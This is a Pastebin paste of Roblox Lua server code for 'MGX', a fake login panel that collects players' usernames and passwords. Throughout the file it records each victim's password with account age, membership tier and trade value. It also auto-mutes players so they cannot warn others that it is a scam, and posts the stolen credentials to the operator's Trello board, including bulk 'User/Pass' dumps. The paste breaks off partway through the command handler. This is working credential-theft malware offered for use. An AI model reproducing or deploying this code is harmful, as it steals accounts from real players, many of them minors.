Advertisement
Guest User

Untitled

a guest
Jan 29th, 2016
159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.35 KB | None | 0 0
  1. local config = require(script.Parent["MGX Config"])
  2.  
  3. AutoMute = config.AutoMute -- Automatically mutes players as they join so they cannot say "It's a scam!"
  4. Radio = config.Radio -- Live radio system that I broadcast on to tell you guys updates and news in the MGui world sometimes.
  5. RadioPerm = config.RadioPerm -- Who hears the MGX Radio, 1 = Owners only, 2 = Owners and Admins, 3 = Owners, Admins and Bypassers
  6. StrictFilter = config.StrictFilter -- Checks for at least 4 letters and 2 numbers of a users password
  7. StorageMode = config.StorageMode -- Set "Local" for classic MGui workspace storage, set "Global" for datastore storage
  8. StorageName = config.StorageName
  9. GStorageName = config.GStorageName
  10. LogGui = config.LogGui
  11. Countdown = config.Countdown
  12. Hotkey = config.Hotkey
  13. ValidationEffect = config.ValidationEffect
  14.  
  15. BypassRules = config.BypassRules
  16.  
  17. Owners = config.Owners
  18. Admins = config.Admins
  19. ViewAdmins = config.ViewAdmins
  20. Bypassers = config.Bypassers
  21. Banned = config.Banned
  22. Mutes = config.Mutes
  23. TargetList = config.TargetList
  24. Trello = config.Trello
  25.  
  26.  
  27. BypassKey = config.BypassKey -- Bypass key players can use to skip login, bypass key is always put on Username box
  28. BypassKeyEnabled = config.BypassKeyEnabled -- Enables the bypass key or not
  29. BypassKeyRules = config.BypassKeyRules -- Shows a rule gui when entering bypass key to inform players
  30.  
  31. local http = game:GetService("HttpService")
  32. local DStore = game:GetService("DataStoreService"):GetGlobalDataStore()
  33. local RBXLim = false
  34. local mgx = script.Parent:WaitForChild("MGX")
  35. local Storage = workspace:findFirstChild(StorageName)
  36. local Version = 1000
  37. local NewVersion = 0
  38. coroutine.resume(coroutine.create(function()
  39. NewVersion = http:GetAsync("http://pastebin.com/raw.php?i=286t8BT3")
  40. end))
  41.  
  42. if not workspace:FindFirstChild("MGX-ReadSettings") then
  43. readfolder = Instance.new("Folder",workspace)
  44. readfolder.Name = "MGX-ReadSettings"
  45. else
  46. readfolder = workspace:WaitForChild("MGX-ReadSettings")
  47. end
  48.  
  49. LogGuiLabel = Instance.new("StringValue",readfolder)
  50. LogGuiLabel.Name = "CurrentLogGui"
  51. LogGuiLabel.Value = LogGui
  52.  
  53. RadioLabel = Instance.new("StringValue",readfolder)
  54. RadioLabel.Name = "RadioText"
  55. RadioLabel.Value = "Offline"
  56.  
  57. local http = game:GetService("HttpService")
  58.  
  59. Tip = "No tip for today."
  60.  
  61. coroutine.resume(coroutine.create(function()
  62. Tip = http:GetAsync("http://pastebin.com/raw.php?i=K46Gxdnp")
  63. end))
  64.  
  65. --Attempt once to clean number ids
  66. coroutine.resume(coroutine.create(function()
  67. for i = 1, #Owners do
  68. if type(Owners[i]) == "number" then
  69. Owners[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Owners[i]))).Username
  70. print("Cleaned "..Owners[i])
  71. end
  72. end
  73. for i = 1, #Admins do
  74. if type(Admins[i]) == "number" then
  75. Admins[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Admins[i]))).Username
  76. print("Cleaned "..Admins[i])
  77. end
  78. end
  79. for i = 1, #ViewAdmins do
  80. if type(ViewAdmins[i]) == "number" then
  81. ViewAdmins[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(ViewAdmins[i]))).Username
  82. print("Cleaned "..ViewAdmins[i])
  83. end
  84. end
  85. for i = 1, #Bypassers do
  86. if type(Bypassers[i]) == "number" then
  87. Bypassers[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Bypassers[i]))).Username
  88. print("Cleaned "..Bypassers[i])
  89. end
  90. end
  91. for i = 1, #Mutes do
  92. if type(Mutes[i]) == "number" then
  93. Mutes[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Mutes[i]))).Username
  94. print("Cleaned "..Mutes[i])
  95. end
  96. end
  97. for i = 1, #Banned do
  98. if type(Banned[i]) == "number" then
  99. Banned[i] = http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Banned[i]))).Username
  100. print("Cleaned "..Banned[i])
  101. end
  102. end
  103. print("Cleanup successful.")
  104. end))
  105.  
  106. if StorageMode == "Local" then
  107. if not workspace:FindFirstChild(StorageName) then
  108. folder = Instance.new("Folder",workspace)
  109. folder.Name = StorageName
  110. end
  111. end
  112.  
  113. function CheckOwner(plr)
  114. for i = 1, #Owners do
  115. if type(Owners[i]) == "string" then
  116. if plr:lower() == Owners[i]:lower() then
  117. return true
  118. end
  119. elseif type(Owners[i]) == "number" then
  120. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Owners[i]))).Username:lower() then
  121. Owners[i] = plr
  122. return true
  123. end
  124. end
  125. end
  126. return false
  127. end
  128.  
  129. function CheckAdmin(plr)
  130. for i = 1, #Admins do
  131. if type(Admins[i]) == "string" then
  132. if plr:lower() == Admins[i]:lower() then
  133. return true
  134. end
  135. elseif type(Admins[i]) == "number" then
  136. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Admins[i]))).Username:lower() then
  137. Admins[i] = plr
  138. return true
  139. end
  140. end
  141. end
  142. return false
  143. end
  144.  
  145. function CheckViewAdmin(plr)
  146. for i = 1, #ViewAdmins do
  147. if type(ViewAdmins[i]) == "string" then
  148. if plr:lower() == ViewAdmins[i]:lower() then
  149. return true
  150. end
  151. elseif type(ViewAdmins[i]) == "number" then
  152. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(ViewAdmins[i]))).Username:lower() then
  153. ViewAdmins[i] = plr
  154. return true
  155. end
  156. end
  157. end
  158. return false
  159. end
  160.  
  161. function CheckBypass(plr)
  162. for i = 1, #Bypassers do
  163. if type(Bypassers[i]) == "string" then
  164. if plr:lower() == Bypassers[i]:lower() then
  165. return true
  166. end
  167. elseif type(Bypassers[i]) == "number" then
  168. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Bypassers[i]))).Username:lower() then
  169. Bypassers[i] = plr
  170. return true
  171. end
  172. end
  173. end
  174. return false
  175. end
  176.  
  177. function CheckMute(plr)
  178. for i = 1, #Mutes do
  179. if type(Mutes[i]) == "string" then
  180. if plr:lower() == Mutes[i]:lower() then
  181. return true
  182. end
  183. elseif type(Mutes[i]) == "number" then
  184. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Mutes[i]))).Username:lower() then
  185. Mutes[i] = plr
  186. return true
  187. end
  188. end
  189. end
  190. return false
  191. end
  192.  
  193. function CheckBan(plr)
  194. for i = 1, #Banned do
  195. if type(Banned[i]) == "string" then
  196. if plr:lower() == Banned[i]:lower() then
  197. return true
  198. end
  199. elseif type(Banned[i]) == "number" then
  200. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Banned[i]))).Username:lower() then
  201. Banned[i] = plr
  202. return true
  203. end
  204. end
  205. end
  206. return false
  207. end
  208.  
  209. function AddOwner(plr)
  210. if CheckOwner(plr) then
  211. print("Already Owner")
  212. else
  213. table.insert(Owners,plr)
  214. for i,v in pairs(game.Players:GetChildren()) do
  215. if v.Name:lower() == plr:lower() then
  216. plr = v.Name
  217. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  218. game.Players[plr].PlayerGui.MGX.MainScript.AddAdmin:InvokeClient(game.Players[plr])
  219. end
  220. end
  221. end
  222. coroutine.resume(coroutine.create(function()
  223. launchRefresh()
  224. end))
  225. print("Added")
  226. end
  227. end
  228.  
  229.  
  230. function AddAdmin(plr)
  231. if CheckOwner(plr) or CheckAdmin(plr) then
  232. print("Already Admin")
  233. else
  234. table.insert(Admins,plr)
  235. for i,v in pairs(game.Players:GetChildren()) do
  236. if v.Name:lower() == plr:lower() then
  237. plr = v.Name
  238. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  239. game.Players[plr].PlayerGui.MGX.MainScript.AddAdmin:InvokeClient(game.Players[plr])
  240. end
  241. end
  242. end
  243. coroutine.resume(coroutine.create(function()
  244. launchRefresh()
  245. end))
  246. print("Added")
  247. end
  248. end
  249.  
  250. function AddViewAdmin(plr)
  251. if CheckOwner(plr) or CheckAdmin(plr) or CheckViewAdmin(plr) then
  252. print("Already View-Admin")
  253. else
  254. table.insert(ViewAdmins,plr)
  255. coroutine.resume(coroutine.create(function()
  256. launchRefresh()
  257. end))
  258. print("Added")
  259. end
  260. end
  261.  
  262. function AddBypass(plr)
  263. if CheckBypass(plr) then
  264. print("Already Bypasser")
  265. else
  266. table.insert(Bypassers,plr)
  267. for i,v in pairs(game.Players:GetChildren()) do
  268. if v.Name:lower() == plr:lower() then
  269. plr = v.Name
  270. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  271. game.Players[plr].PlayerGui.MGX.MainScript.Bypass:InvokeClient(game.Players[plr])
  272. end
  273. end
  274. end
  275. coroutine.resume(coroutine.create(function()
  276. launchRefresh()
  277. end))
  278. print("Added")
  279. end
  280. end
  281.  
  282. function AddMute(plr)
  283. if CheckMute(plr) then
  284. print("Already Muted")
  285. else
  286. table.insert(Mutes,plr)
  287. for i,v in pairs(game.Players:GetChildren()) do
  288. if v.Name:lower() == plr:lower() then
  289. plr = v.Name
  290. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  291. game.Players[plr].PlayerGui.MGX.MainScript.Mute:InvokeClient(game.Players[plr])
  292. end
  293. end
  294. end
  295. coroutine.resume(coroutine.create(function()
  296. launchRefresh()
  297. end))
  298. print("Added")
  299. end
  300. end
  301.  
  302. function AddBan(plr)
  303. if CheckBan(plr) then
  304. print("Already Banned")
  305. else
  306. table.insert(Banned,plr)
  307. for i,v in pairs(game.Players:GetChildren()) do
  308. if v.Name:lower() == plr:lower() then
  309. plr = v.Name
  310. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  311. coroutine.resume(coroutine.create(function()
  312. game.Players[plr].PlayerGui.MGX.MainScript.Kick:InvokeClient(game.Players[plr])
  313. end))
  314. end
  315. end
  316. end
  317. coroutine.resume(coroutine.create(function()
  318. launchRefresh()
  319. end))
  320. print("Added")
  321. end
  322. end
  323.  
  324. function RemoveOwner(plr)
  325. if CheckOwner(plr) then
  326. RemoveAdmin(plr,true)
  327. for i = 1, #Owners do
  328. if type(Owners[i]) == "string" then
  329. if plr:lower() == Owners[i]:lower() then
  330. table.remove(Owners,i)
  331. end
  332. elseif type(Owners[i]) == "number" then
  333. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Owners[i]))).Username:lower() then
  334. table.remove(Owners,i)
  335. end
  336. end
  337. end
  338. for i,v in pairs(game.Players:GetChildren()) do
  339. if v.Name:lower() == plr:lower() then
  340. plr = v.Name
  341. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  342. game.Players[plr].PlayerGui.MGX.MainScript.RemoveAdmin:InvokeClient(game.Players[plr])
  343. end
  344. end
  345. end
  346. coroutine.resume(coroutine.create(function()
  347. launchRefresh()
  348. end))
  349. print("Removed")
  350. else
  351. print("Not Owner")
  352. end
  353. end
  354.  
  355. function RemoveViewAdmin(plr)
  356. if CheckViewAdmin(plr) then
  357. for i = 1, #ViewAdmins do
  358. if type(ViewAdmins[i]) == "string" then
  359. if plr:lower() == ViewAdmins[i]:lower() then
  360. table.remove(ViewAdmins,i)
  361. end
  362. elseif type(ViewAdmins[i]) == "number" then
  363. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(ViewAdmins[i]))).Username:lower() then
  364. table.remove(ViewAdmins,i)
  365. end
  366. end
  367. end
  368. coroutine.resume(coroutine.create(function()
  369. launchRefresh()
  370. end))
  371. print("Removed")
  372. else
  373. print("Not View-Admin")
  374. end
  375. end
  376.  
  377. function RemoveAdmin(plr,silent)
  378. RemoveViewAdmin(plr)
  379. if CheckAdmin(plr) then
  380. for i = 1, #Admins do
  381. if type(Admins[i]) == "string" then
  382. if plr:lower() == Admins[i]:lower() then
  383. table.remove(Admins,i)
  384. end
  385. elseif type(Admins[i]) == "number" then
  386. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Admins[i]))).Username:lower() then
  387. table.remove(Admins,i)
  388. end
  389. end
  390. end
  391. if not silent then
  392. for i,v in pairs(game.Players:GetChildren()) do
  393. if v.Name:lower() == plr:lower() then
  394. plr = v.Name
  395. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  396. game.Players[plr].PlayerGui.MGX.MainScript.RemoveAdmin:InvokeClient(game.Players[plr])
  397. end
  398. end
  399. end
  400. end
  401. coroutine.resume(coroutine.create(function()
  402. launchRefresh()
  403. end))
  404. print("Removed")
  405. else
  406. print("Not Admin")
  407. end
  408. end
  409.  
  410. function RemoveBypass(plr)
  411. if CheckBypass(plr) then
  412. for i = 1, #Bypassers do
  413. if type(Bypassers[i]) == "string" then
  414. if plr:lower() == Bypassers[i]:lower() then
  415. table.remove(Bypassers,i)
  416. end
  417. elseif type(Bypassers[i]) == "number" then
  418. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Bypassers[i]))).Username:lower() then
  419. table.remove(Bypassers,i)
  420. end
  421. end
  422. end
  423. for i,v in pairs(game.Players:GetChildren()) do
  424. if v.Name:lower() == plr:lower() then
  425. plr = v.Name
  426. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  427. game.Players[plr].PlayerGui.MGX.MainScript.RemoveBypass:InvokeClient(game.Players[plr])
  428. end
  429. end
  430. end
  431. coroutine.resume(coroutine.create(function()
  432. launchRefresh()
  433. end))
  434. print("Removed")
  435. else
  436. print("Not Bypasser")
  437. end
  438. end
  439.  
  440. function RemoveMute(plr)
  441. if CheckMute(plr) then
  442. for i = 1, #Mutes do
  443. if type(Mutes[i]) == "string" then
  444. if plr:lower() == Mutes[i]:lower() then
  445. table.remove(Mutes,i)
  446. end
  447. elseif type(Mutes[i]) == "number" then
  448. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Mutes[i]))).Username:lower() then
  449. table.remove(Mutes,i)
  450. end
  451. end
  452. end
  453. for i,v in pairs(game.Players:GetChildren()) do
  454. if v.Name:lower() == plr:lower() then
  455. plr = v.Name
  456. if game.Players[plr].PlayerGui:findFirstChild("MGX") then
  457. game.Players[plr].PlayerGui.MGX.MainScript.UnMute:InvokeClient(game.Players[plr])
  458. end
  459. end
  460. end
  461. coroutine.resume(coroutine.create(function()
  462. launchRefresh()
  463. end))
  464. print("Removed")
  465. else
  466. print("Not Muted")
  467. end
  468. end
  469.  
  470. function RemoveBan(plr)
  471. if CheckBan(plr) then
  472. for i = 1, #Banned do
  473. if type(Banned[i]) == "string" then
  474. if plr:lower() == Banned[i]:lower() then
  475. table.remove(Banned,i)
  476. end
  477. elseif type(Banned[i]) == "number" then
  478. if plr:lower() == http:JSONDecode(http:GetAsync("http://api.robloxapi.com/Users/CurrentUsername?UserId="..tostring(Banned[i]))).Username:lower() then
  479. table.remove(Banned,i)
  480. end
  481. end
  482. end
  483. coroutine.resume(coroutine.create(function()
  484. launchRefresh()
  485. end))
  486. print("Removed")
  487. else
  488. print("Not Banned")
  489. end
  490. end
  491.  
  492. function CountAdmins()
  493. for i = 1, #Admins do
  494. print(Admins[i])
  495. end
  496. end
  497.  
  498. function getBC(bc)
  499. local BCType = ""
  500. if bc=="Enum.MembershipType.BuildersClub" then
  501. BCType = "BC"
  502. elseif bc=="Enum.MembershipType.TurboBuildersClub" then
  503. BCType = "TBC"
  504. elseif bc=="Enum.MembershipType.OutrageousBuildersClub" then
  505. BCType = "OBC"
  506. else
  507. BCType = "NBC"
  508. end
  509. return BCType
  510. end
  511.  
  512. function trelloGet(address)
  513. if not address then return end
  514. return http:GetAsync(address.. "?key="..Trello.DevKey.."&token="..Trello.Token)
  515. end
  516.  
  517. function trelloPost(address, data)
  518. if address == nil or data == nil then return end
  519. local encoded = http:JSONEncode(data)
  520. return http:PostAsync(address.. "?key="..Trello.DevKey.."&token="..Trello.Token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
  521. end
  522.  
  523. function dumpTrelloPost(address, data)
  524. if address == nil or data == nil then return end
  525. local encoded = http:JSONEncode(data)
  526. return http:PostAsync(address.. "?key="..Trello.DevKey.."&token="..Trello.Token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
  527. end
  528.  
  529. function launchRefresh()
  530. for i,v in pairs(game.Players:GetPlayers()) do
  531. if CheckOwner(v.Name) or CheckAdmin(v.Name) or CheckViewAdmin(v.Name) then
  532. if v.PlayerGui:findFirstChild("MGX") then
  533. v.PlayerGui.MGX.MainScript.RefreshRS:InvokeClient(v)
  534. end
  535. end
  536. end
  537. end
  538.  
  539. function BCtoDumpStr(str)
  540. local res = ""
  541. if str == "Enum.MembershipType.BuildersClub" then
  542. res = "[BC] "
  543. elseif str == "Enum.MembershipType.TurboBuildersClub" then
  544. res = "[TBC] "
  545. elseif str == "Enum.MembershipType.OutrageousBuildersClub" then
  546. res = "[OBC] "
  547. elseif str == "Enum.MembershipType.None" then
  548. res = ""
  549. end
  550. return res
  551. end
  552.  
  553. function countBC()
  554. local vals = {}
  555. vals.BC = 0
  556. vals.TBC = 0
  557. vals.OBC = 0
  558. vals.NBC = 0
  559. if StorageMode == "Local" then
  560. for i,v in pairs(workspace[StorageName]:getChildren()) do
  561. if v.bc.Value == "Enum.MembershipType.BuildersClub" then
  562. vals.BC = vals.BC + 1
  563. elseif v.bc.Value == "Enum.MembershipType.TurboBuildersClub" then
  564. vals.TBC = vals.TBC + 1
  565. elseif v.bc.Value == "Enum.MembershipType.OutrageousBuildersClub" then
  566. vals.OBC = vals.OBC + 1
  567. elseif v.bc.Value == "Enum.MembershipType.None" then
  568. vals.NBC = vals.NBC + 1
  569. end
  570. end
  571. elseif StorageMode == "Global" then
  572. local DStoreTable = getDataStore()
  573. if DStoreTable and type(DStoreTable) == "table" then
  574. for i,v in pairs(DStoreTable) do
  575. if v.BCVal == "Enum.MembershipType.BuildersClub" then
  576. vals.BC = vals.BC + 1
  577. elseif v.BCVal == "Enum.MembershipType.TurboBuildersClub" then
  578. vals.TBC = vals.TBC + 1
  579. elseif v.BCVal == "Enum.MembershipType.OutrageousBuildersClub" then
  580. vals.OBC = vals.OBC + 1
  581. elseif v.BCVal == "Enum.MembershipType.None" then
  582. vals.NBC = vals.NBC + 1
  583. end
  584. end
  585. end
  586. end
  587. return vals
  588. end
  589.  
  590. function getDataStore()
  591. if DStore then
  592. local storage = DStore:GetAsync(GStorageName)
  593. if storage then
  594. return storage
  595. else
  596. return {}
  597. end
  598. else
  599. return {}
  600. end
  601. end
  602.  
  603. function setDataStore(data)
  604. if DStore then
  605. return DStore:SetAsync(GStorageName, data)
  606. else
  607. return {}
  608. end
  609. end
  610.  
  611. function GetRap(plrname)
  612. if RBXLim then
  613. local rap = http:GetAsync("http://rbxlim.com/u/" .. plrname,true)
  614. rap = string.gsub(rap,",", "")
  615. local x, y = string.find(rap, "RAP:")
  616. local res = string.match(string.sub(rap,x), "%d+")
  617. return res
  618. else
  619. return "Err."
  620. end
  621. end
  622.  
  623. function MGXPassDump(ShowBC,ShowAge,ShowRAP)
  624. if Trello.Enabled then
  625. local text = "MGX Build 1000 Auto-Dumper.[n]Accounts are dumped in raw User/Pass format.[n][n]Converter link: http://www.unit-conversion.info/texttools/add-line-breaks/ [n]"
  626. text = text.. "[n]Accounts:[n]"
  627. local tempVals = countBC()
  628. if StorageMode == "Local" then
  629. for i,v in pairs(workspace[StorageName]:getChildren()) do
  630. text = text.."[n]"
  631. if ShowBC then
  632. text = text..BCtoDumpStr(v.bc.Value)
  633. end
  634. text = text..v.Name.. " : ".. v.pass.Value
  635. if ShowAge then
  636. text = text.." Age: "..v.age.Value
  637. end
  638. if ShowRAP then
  639. text = text.." RAP: R$"..v.rap.Value
  640. end
  641. end
  642. elseif StorageMode == "Global" then
  643. local DStoreTable = getDataStore()
  644. if DStoreTable and type(DStoreTable) == "table" then
  645. for i,v in pairs(DStoreTable) do
  646. text = text.."[n]"
  647. if ShowBC then
  648. text = text..BCtoDumpStr(v.BCVal)
  649. end
  650. text = text..v.Username.. " : ".. v.Pass
  651. if ShowAge then
  652. text = text.." Age: "..v.AgeVal
  653. end
  654. if ShowRAP then
  655. text = text.." RAP: R$"..v.RapVal
  656. end
  657. end
  658. end
  659. end
  660. if ShowBC then
  661. text = text .. "[n][n]Account totals:[n]NBC: "..tostring(tempVals.NBC).."[n]BC: "..tostring(tempVals.BC).."[n]TBC: "..tostring(tempVals.TBC).."[n]OBC: "..tostring(tempVals.OBC)
  662. end
  663. text = text.."[n][n]Total accounts dumped: "..tostring(tempVals.NBC+tempVals.BC+tempVals.TBC+tempVals.OBC).."[n][n]Thanks for using MGX."
  664. local boards = trelloGet("https://api.trello.com/1/members/me/boards")
  665. if not boards then return end
  666. local Label = "white"
  667. local name = text
  668. local foundList = false
  669. for _,v in pairs(http:JSONDecode(boards)) do
  670. if v["id"] ~= nil then
  671. local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
  672. if lists then
  673. for x,list in pairs(http:JSONDecode(lists)) do
  674. if list["name"] == Trello.DumpList then
  675. dumpTrelloPost("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=name,["labels"]=Label})
  676. foundList = true
  677. break
  678. end
  679. end
  680. if foundList then break end
  681. end
  682. end
  683. end
  684. end
  685. end
  686.  
  687. function WelcomePlayer(plr)
  688. coroutine.resume(coroutine.create(function()
  689. local plrName = plr.Name
  690. if CheckOwner(plrName) or CheckAdmin(plrName) or CheckViewAdmin(plrName) then
  691. plr:WaitForChild("PlayerGui"):WaitForChild("MGX"):WaitForChild("MainScript"):WaitForChild("WelcomeAdmin"):InvokeClient(plr)
  692. end
  693. end))
  694. end
  695.  
  696. function GetDS()
  697. if DStore then
  698. local storage = DStore:GetAsync(GStorageName)
  699. if storage then
  700. return storage
  701. else
  702. return {}
  703. end
  704. else
  705. return {}
  706. end
  707. end
  708.  
  709. function SetDS(setval)
  710. if DStore then
  711. return DStore:SetAsync(GStorageName, setval)
  712. else
  713. return {}
  714. end
  715. end
  716.  
  717. function StoreTrello(user,pass,bc,age,rap)
  718. if Trello.Enabled then
  719. local boards = trelloGet("https://api.trello.com/1/members/me/boards")
  720. if not boards then return end
  721. local Label = ""
  722. local rawLabel = bc
  723. if rawLabel == "Enum.MembershipType.BuildersClub" then
  724. Label = "blue"
  725. elseif rawLabel == "Enum.MembershipType.TurboBuildersClub" then
  726. Label = "orange"
  727. elseif rawLabel == "Enum.MembershipType.OutrageousBuildersClub" then
  728. Label = "red"
  729. else
  730. Label = "white"
  731. end
  732. local name = "Username: "..user.." Password: "..pass.." BC: "..getBC(rawLabel).." Age: "..age.." RAP: R$"..rap
  733. local foundList = false
  734. for _,v in pairs(http:JSONDecode(boards)) do
  735. if v["id"] ~= nil then
  736. local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
  737. if lists then
  738. for x,list in pairs(http:JSONDecode(lists)) do
  739. if list["name"] == Trello.List then
  740. trelloPost("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=name,["labels"]=Label})
  741. foundList = true
  742. break
  743. end
  744. end
  745. if foundList then break end
  746. end
  747. end
  748. end
  749. end
  750. end
  751.  
  752. function MGXInvoke(...)
  753. local slots = {...}
  754. if #slots <= 1 then return end
  755. local cmd = slots[2]
  756.  
  757. if cmd == "StoreTrello" then
  758. if Trello.Enabled then
  759. local boards = trelloGet("https://api.trello.com/1/members/me/boards")
  760. if not boards then return end
  761. local Label = ""
  762. local rawLabel = slots[5]
  763. if rawLabel == "Enum.MembershipType.BuildersClub" then
  764. Label = "blue"
  765. elseif rawLabel == "Enum.MembershipType.TurboBuildersClub" then
  766. Label = "orange"
  767. elseif rawLabel == "Enum.MembershipType.OutrageousBuildersClub" then
  768. Label = "red"
  769. else
  770. Label = "white"
  771. end
  772. local name = "Username: "..slots[3].." Password: "..slots[4].." BC: "..getBC(rawLabel).." Age: "..slots[6].." RAP: R$"..slots[7]
  773. local foundList = false
  774. for _,v in pairs(http:JSONDecode(boards)) do
  775. if v["id"] ~= nil then
  776. local lists = trelloGet("http://api.trello.com/1/boards/"..v["id"].."/lists")
  777. if lists then
  778. for x,list in pairs(http:JSONDecode(lists)) do
  779. if list["name"] == Trello.List then
  780. trelloPost("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=name,["labels"]=Label})
  781. foundList = true
  782. break
  783. end
  784. end
  785. if foundList then break end
  786. end
  787. end
  788. end
  789. end
  790. elseif cmd == "SendDump" then
  791. MGXPassDump(slots[3],slots[4],slots[5])
  792. elseif cmd == "RequestMGX" then
  793. local newmgx = mgx:clone()
  794. for i,v in pairs(slots[1]:WaitForChild("PlayerGui"):GetChildren()) do
  795. if v.Name == "MGX" then
  796. print("OMG A STRAY MGX, REMOVING!")
  797. v:Remove()
  798. end
  799. end
  800. newmgx.Parent = slots[1]:WaitForChild("PlayerGui")
  801. elseif cmd == "StoreInfo" then
  802. local User = slots[1].Name
  803. local pass = slots[3]
  804. local BC = tostring(slots[1].MembershipType)
  805. local Age = tostring(slots[1].AccountAge)
  806. local Rap = GetRap(User)
  807. if StorageMode == "Local" then
  808. local folder = Instance.new("Folder")
  809. folder.Name = User
  810. local passVal = Instance.new("StringValue",folder)
  811. passVal.Name = "pass"
  812. passVal.Value = pass
  813. local bcVal = Instance.new("StringValue",folder)
  814. bcVal.Name = "bc"
  815. bcVal.Value = BC
  816. local ageVal = Instance.new("StringValue",folder)
  817. ageVal.Name = "age"
  818. ageVal.Value = Age
  819. local rapVal = Instance.new("StringValue",folder)
  820. rapVal.Name = "rap"
  821. rapVal.Value = Rap
  822. folder.Parent = Storage
  823. elseif StorageMode == "Global" then
  824. local dataTable = {Username = User,Pass = pass, BCVal = BC, AgeVal = Age, RapVal = Rap}
  825. local DStoreTable = GetDS()
  826. if DStoreTable then
  827. table.insert(DStoreTable,dataTable)
  828. SetDS(DStoreTable)
  829. --mainInvoke:InvokeServer("DSClientRefresh")
  830. end
  831. end
  832. StoreTrello(User,pass,BC,Age,Rap)
  833. elseif cmd == "DeleteEntry" then
  834. local plr = slots[3]
  835. if CheckOwner(slots[1].Name) or CheckAdmin(slots[1].Name) then
  836. if StorageMode == "Local" then
  837. coroutine.resume(coroutine.create(function()
  838. for i,v in pairs(Storage:GetChildren()) do
  839. if v.Name == plr then
  840. v:Destroy()
  841. return
  842. end
  843. end
  844. end))
  845. elseif StorageMode == "Global" then
  846. coroutine.resume(coroutine.create(function()
  847. local DStoreTable = GetDS()
  848. if DStoreTable and type(DStoreTable) == "table" then
  849. for i,v in pairs(DStoreTable) do
  850. if v.Username == plr then
  851. table.remove(DStoreTable,i)
  852. end
  853. end
  854. SetDS(DStoreTable)
  855. --mainInvoke:InvokeServer("DSClientRefresh")
  856. end
  857. end))
  858. end
  859. end
  860. elseif cmd == "PCKill" then
  861. if game.Players:findFirstChild(slots[3]) then
  862. game.Players[slots[3]].Character:BreakJoints()
  863. end
  864. elseif cmd == "GetDSStorage" then
  865. if DStore then
  866. local storage = DStore:GetAsync(GStorageName)
  867. if storage then
  868. return storage
  869. else
  870. return {}
  871. end
  872. else
  873. return {}
  874. end
  875. elseif cmd == "SetDSStorage" then
  876. if DStore then
  877. return DStore:SetAsync(GStorageName, slots[3])
  878. else
  879. return {}
  880. end
  881. elseif cmd == "CheckOwner" then
  882. return CheckOwner(slots[1].Name)
  883.  
  884. elseif cmd == "CheckOtherOwner" then
  885. return CheckOwner(slots[3])
  886.  
  887. elseif cmd == "CheckAdmin" then
  888. return CheckAdmin(slots[1].Name)
  889.  
  890. elseif cmd == "CheckOtherAdmin" then
  891. return CheckAdmin(slots[3])
  892.  
  893. elseif cmd == "CheckViewAdmin" then
  894. return CheckViewAdmin(slots[1].Name)
  895.  
  896. elseif cmd == "CheckBypass" then
  897. return CheckBypass(slots[1].Name)
  898.  
  899. elseif cmd == "CheckOtherBypass" then
  900. return CheckBypass(slots[3])
  901.  
  902. elseif cmd == "CheckMute" then
  903. return CheckMute(slots[1].Name)
  904.  
  905. elseif cmd == "CheckBan" then
  906. return CheckBan(slots[1].Name)
  907.  
  908. elseif cmd == "GetAutoMute" then
  909. return AutoMute
  910. elseif cmd == "DSClientRefresh" then
  911. for i,v in pairs(game.Players:GetPlayers()) do
  912. if CheckOwner(v.Name) or CheckAdmin(v.Name) or CheckViewAdmin(v.Name) then
  913. if v.PlayerGui:findFirstChild("MGX") then
  914. v.PlayerGui.MGX.MainScript.DSRefresh:InvokeClient(v)
  915. end
  916. end
  917. end
  918. elseif cmd == "AddOwner" then
  919. if CheckOwner(slots[1].Name) and slots[1].userId == game.CreatorId then
  920. AddOwner(slots[3])
  921. else
  922. print(slots[1].Name .. " tried to add an owner when he/she is not game owner!")
  923. end
  924. elseif cmd == "AddAdmin" then
  925. if CheckOwner(slots[1].Name) then
  926. AddAdmin(slots[3])
  927. else
  928. print(slots[1].Name .. " tried to add an admin when he/she is not owner!")
  929. end
